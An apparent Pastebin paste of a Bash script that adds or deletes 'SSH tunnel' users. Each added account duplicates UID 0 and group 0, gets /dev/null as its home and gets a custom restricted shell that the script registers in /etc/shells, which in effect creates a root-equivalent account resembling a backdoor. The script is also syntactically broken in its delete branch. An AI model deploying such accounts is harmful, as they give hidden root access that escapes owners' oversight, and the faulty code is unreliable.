Advertisement
Guest User

Untitled

a guest
Aug 11th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.67 KB | None | 0 0
  1. #!/bin/bash
  2. function Usage
  3. {
  4.     echo "Usage:"
  5.     echo -e "\tAdduser: add <user> <password>"
  6.     echo -e "\tDeluser: del <user>"
  7.     exit
  8. }
  9.  
  10. if [ $1 ] && [ $2 ]
  11. then
  12.     if [[ $1 =~ "add" ]] && [ $2 ] && [ $3 ]
  13.     then
  14.         useradd --shell /bin/ssh-tunnel --gid 0 -o --uid 0 --home /dev/null $2
  15.         echo -e "$3\n$3" | passwd $2 > /dev/null
  16.         echo -e '#!/bin/bash\nbash -r -c read\n' >> /bin/ssh-tunnel
  17.         chmod a+x /bin/ssh-tunnel
  18.         echo '/bin/ssh-tunnel' >> /etc/shells
  19.         echo -e "[+] User: $2 \n[+] Pass: $3 \n[+] Shell:/bin/ssh-tunnel \n[+] Added to system"
  20.     elif [[ $1 =~ "del" ]] && [ $2 ]
  21.     then
  22.         if userdel $2
  23.         echo -e "[+] User $2 deleted from system"
  24.     else
  25.         Usage
  26.     fi
  27. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement